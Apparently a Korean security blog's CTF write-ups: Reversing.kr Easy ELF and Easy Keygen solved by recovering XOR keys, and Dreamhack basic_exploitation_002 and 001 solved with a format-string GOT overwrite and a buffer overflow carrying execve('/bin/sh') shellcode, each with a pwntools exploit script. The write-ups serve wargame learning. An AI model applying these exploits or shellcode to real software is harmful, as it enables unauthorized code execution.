Correct를 출력하면 되는 문제로 보인다.
 

1. Analysis

일단 ELF파일이니 gdb로 확인하는 문제가 아닐까?

근데 symbol이 없단다. 힘들것같다. 괜히 심볼없는 gdb로 고통받을 바엔 걍 ida라는 현대문물을 쓰자.

int __cdecl main()
{
  write(1, "Reversing.Kr Easy ELF\n\n", 0x17u);
  sub_8048434();
  if ( sub_8048451() )
    sub_80484F7();
  else
    write(1, "Wrong\n", 6u);
  return 0;
}

디컴파일 코드인데 sub_8048451()함수를 통해 뭔가 Wrong이 아닌쪽으로 출력을 한다. 그렇다면 그 함수를 들어가보면 된다.
 

_BOOL4 sub_8048451()
{
  if ( byte_804A021 != 49 )
    return 0;
  byte_804A020 ^= 0x34u;
  byte_804A022 ^= 0x32u;
  byte_804A023 ^= 0x88u;
  if ( byte_804A024 != 88 )
    return 0;
  if ( byte_804A025 )
    return 0;
  if ( byte_804A022 != 124 )
    return 0;
  if ( byte_804A020 == 120 )
    return byte_804A023 == -35;
  return 0;
}

byte_804A020이 정확히 뭔지는 모르겠지만 아마 입력값의 시작점이라고 생각한다. 그리고 그냥 간단한 xor연산을 반복한다. 뭔가 조건문이 복잡할 때는 그냥 그래프로 보는게 훨씬 더 편하다.
 

overview로 보면 이런데 대충 저 조건을 전부 통과해야 Correct로 갈 수 있다는 것이다.
 

왜 오히려 어셈블리어가 더 편한지는 모르겠지만, 위에서부터 보면
 
[804A021] = 0x31
[804A020] ^ 0x34
[804A022] ^ 0x32
[804A023] ^ 0x88
[804A024] = 0x58
[804A025] = 0
 

[804A022] = 0x7C
[804A020] = 0x78
[804A023] = 0xDD
 

2. Solve

바이트 다 뽑아냈으니 순서에 맞춰서 코드를 작성해보자.

key = ''

key += chr(0x78 ^ 0x34)
key += chr(0x31)
key += chr(0x7C ^ 0x32)
key += chr(0xDD ^ 0x88)
key += chr(0x58)
key += '\0'

print(key)

생각보다 너무 쉬워서 어이가 없네

'Security > Reversing' 카테고리의 다른 글

[Reversing.kr] ImagePrc  (0) 2022.08.31
[Reversing.kr] Music Player  (0) 2022.08.31
[Reversing.kr] Easy Keygen  (0) 2022.08.24
[Reversing.kr] Easy Crack  (0) 2022.08.17
Dreamhack secret message  (0) 2022.08.17

1. Analysis

일단 ReadMe.txt파일이 있다.

ReversingKr KeygenMe


Find the Name when the Serial is 5B134977135E7D13

시리얼이 5B134977135E7D13의 Name을 찾으라고 한다.
 

대충 실행 화면은 이렇다. 결론적으로 Correct라는 단어를 출력하는 Name을 찾으면 되는 문제.
 
바로 x32dbg로 열어보자.

대충 어셈블리가 많은데 어지럽다. 그냥 뭐든 입력해서 차근차근 따라가보자.
 
일단 정확히 무슨 함수가 뭘 하는지 확실히 모른다. 그러나 시리얼을 주고 name을 구하라고 했으니 시리얼에 따라 name이 변하는 구조일 것이다.
 
그렇다면 일단 'abcd'를 name에 입력하고 serial에 'efgh'를 입력하고 bp로 확인해보자.

[esp+10]에 시리얼이 저장되고 그 밑에 '71425374'라는 뭔가가 있다. 느낌상 이게 name을 serial로 변환한 것이긴 한데 일단 그렇다고 생각.
 

실제로 이 파트가 시리얼과 name을 변환한 무언가와를 비교하는 함수로 보인다.
테스트를 위하여 input name을 'abcd', input serial을 '71425374'로 입력 후 실행.

결과 'Correct!'가 출력되었다. 그렇다면 이제 우리는 결과값을 알고있으니 name의 연산식을 찾고 이를 통해 serial을 역산하여 name을 찾으면 된다.
 
입력은 그대로 'abcd'로 한다. 연산을 보면서 '71425374'가 어떤 과정으로 입력되는지를 확인해보려고 한다.

이 부분을 따라가면서 확인한다. 우선 입력된 문자열은 [esp+18]에 저장되어있다. 그리고 edi에 옮겨진다.

00401062 | 83C9 FF                  | or ecx,FFFFFFFF                         |
00401065 | 33C0                     | xor eax,eax                             |
00401067 | 83C4 08                  | add esp,8                               |
0040106A | 33ED                     | xor ebp,ebp                             |
0040106C | 33F6                     | xor esi,esi                             |
0040106E | F2:AE                    | repne scasb                             |
00401070 | F7D1                     | not ecx                                 |
00401072 | 49                       | dec ecx                                 |
00401073 | 85C9                     | test ecx,ecx                            |

이 부분들은 'repne scasb'가 정확히 어떤 코드인지 몰라서 검색을 하면서 알았는데, 아래 링크를 보면 완전히 동일한 식이다. 즉 입력된 문자열의 길이를 구하는 코드다. 근데 자세히 보니 같은 문제구나..
https://k4keye.tistory.com/29

[리버싱] 문자열 컨트롤 (repne ,scas)

CTF 문제를 푸는 도중 재미난 문자열컨트롤을 발견하였다. ​ 단순한 시리얼값을 찾아내는 문제였는데 시리얼값을 'ABCDEFG' 로 입력한후 비교하는 루팅을 찾는과정중에 ​ 이러한 repne scasb 명령을

k4keye.tistory.com

코드 실행 결과 [ecx]와 [edx]에는 문자열의 길이 4가 저장됐다.
 

이 반복문이 name을 통해 serial을 만드는 식으로 보인다. 

[esp+esi+C]를 확인했을 때 0x10, 0x20, 0x30이 저장되어있는데 esi는 총 0, 1, 2가 반복되니 이 세 숫자를 사용하는 것 같다. 또한 그 밑 [esp+ebp+10]은 input name이다.
 

반복문 한바퀴를 돌았을 때 ecx에는 71이 저장되었다. 사실 따라가려고 했는데 코드가 너무 복잡해서 그냥 포기했고, 언제 7과 1이 찍히는 지만 찾으면 되는거다. 최종적으로 a가 71이 되었고, 이는 0x10과 a(0x61)이 xor연산된 값이다.

그렇다면 혹시 0x20과 b(0x62)를 xor연산을 하면 42가 나오는지 확인해보자.

정답이다. 그렇다면 0x30도 동일할테니 이번에는 0x10과 d(0x64)를 xor연산을 했을 때 74가 나오는지만 확인하면 된다.

이걸로 우리는 역산식을 찾을 수 있다. 앞번호부터 두글자씩 순서대로 0x10, 0x20, 0x30을 xor한 값을 chr로 변환시키면 그 값이 우리가 찾는 name이 될 것이다.
 

2. Solve

serial = '5B134977135E7D13'

j = 0
name = ''
for i in range(1, len(serial), 2):
    tmp_hex = serial[i - 1] + serial[i]
    if j == 0:
        name += chr(int(tmp_hex, 16) ^ 0x10)
    elif j == 1:
        name += chr(int(tmp_hex, 16) ^ 0x20)
    elif j == 2:
        name += chr(int(tmp_hex, 16) ^ 0x30)
    
    j += 1
    if j >= 3:
        j = 0

print(name)

 

간단한 문제였다.

'Security > Reversing' 카테고리의 다른 글

[Reversing.kr] Music Player  (0) 2022.08.31
[Reversing.kr] Easy ELF  (0) 2022.08.24
[Reversing.kr] Easy Crack  (0) 2022.08.17
Dreamhack secret message  (0) 2022.08.17
Dreamhack hash-browns  (0) 2022.08.03

basic_exploitation문제 중 유일하게 level 2문제다.
 

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/73fd9a8e-66ed-4c7d-8d62-57b98fe85979/basic_exploitation_002' 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Partial RELRO, NX가 걸려있다.
 

2. Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

대충 코드를 보면 printf("%s", buf)로 출력을 해야하지만 printf(buf)로 코드가 작성되어 있어 FSB취약점을 이용할 수 있다.
그리고 입력을 read함수로 받고 최대 0x80까지 받기 때문에 일단 BOF는 사용하지 못한다.
 
https://learn.dreamhack.io/3#23

로그인 | Dreamhack

dreamhack.io

드림핵 레퍼런스를 참조해서 SFB취약점에 대해 공부했는데, 결론만 말하자면 exit@got의 주소를 get_shell함수로 overwrite하면 된다.

exit@plt에서 jmp 주소는 [0x804a024], 그리고 get_shell함수의 주소는 [0x08048609]
 
AAAA.%8x.%8x.%8x를 입력해보면서 41414141이 어딨는지를 확인해보면, 

첫번째 %x에서 바로 인자를 받는 것을 확인할 수 있다.
 
결론적으로 payload에는 exit@got에 get_shell함수 주소를 보내면 된다. 그런데 get_shell함수의 주소 [0x08048609]는 int로 변환했을 때, 134514185로 큰 수다. 따라서 exit@got+2에 0x0804를 먼저 보내고 그 다음 exit@got에 0x8609를 다시 보내면 된다.
 
 

3. exploit

from pwn import *

p = remote('host3.dreamhack.games', 21528)

exit = 0x0804a024

payload = p32(exit + 2) + p32(exit) + b'%2044c%1$hn' + b'%32261c%2$hn'

p.sendline(payload)
p.interactive()

부가설명하자면, 일단 리틀엔디안이기 때문에 exit+2의 위치에 0x0804가 들어가고 대신 주소 입력 8byte를 제외해야하니 0x0804 - 0x8 = 0d2044
 
그리고 다시 앞에 0x0804만큼 글자가 입력됐다고 인식되니, 0x8609 - 0x0804 = 0d32261
 

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_001  (0) 2022.08.08
Dreamhack basic_exploitation_000  (0) 2022.08.08

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/7707d923-189a-4145-95fc-09c9743f4fbf/basic_exploitation_001' 
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX 기법만 적용되어있다.
 

2. Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

코드를 보면 read_flag라는 함수가 있는데 이를 쉘에서 불러오면 플래그를 바로 얻을 수 있을 것 같다.
 

일단 main함수를 보면 000문제와 대부분 동일하지만 scanf가 아니라 gets로 입력버퍼를 받아온다.

read_flag함수를 불러온 것인데, 우리는 결론적으로 그냥 쉘을 열어서 이 함수를 리턴주소에 overwrite해서 바로 불러오기만 하면 플래그를 얻을 수 있다.
 

3. exploit

from pwn import *

p = remote('host3.dreamhack.games', 9243)

shell = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

buf = int('080485b9', 16)

payload = shell
payload += b'\x41' * (0x84 - len(shell))
payload += p32(buf)

p.sendline(payload)
p.interactive()

 

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_002  (0) 2022.08.08
Dreamhack basic_exploitation_000  (0) 2022.08.08

+ Recent posts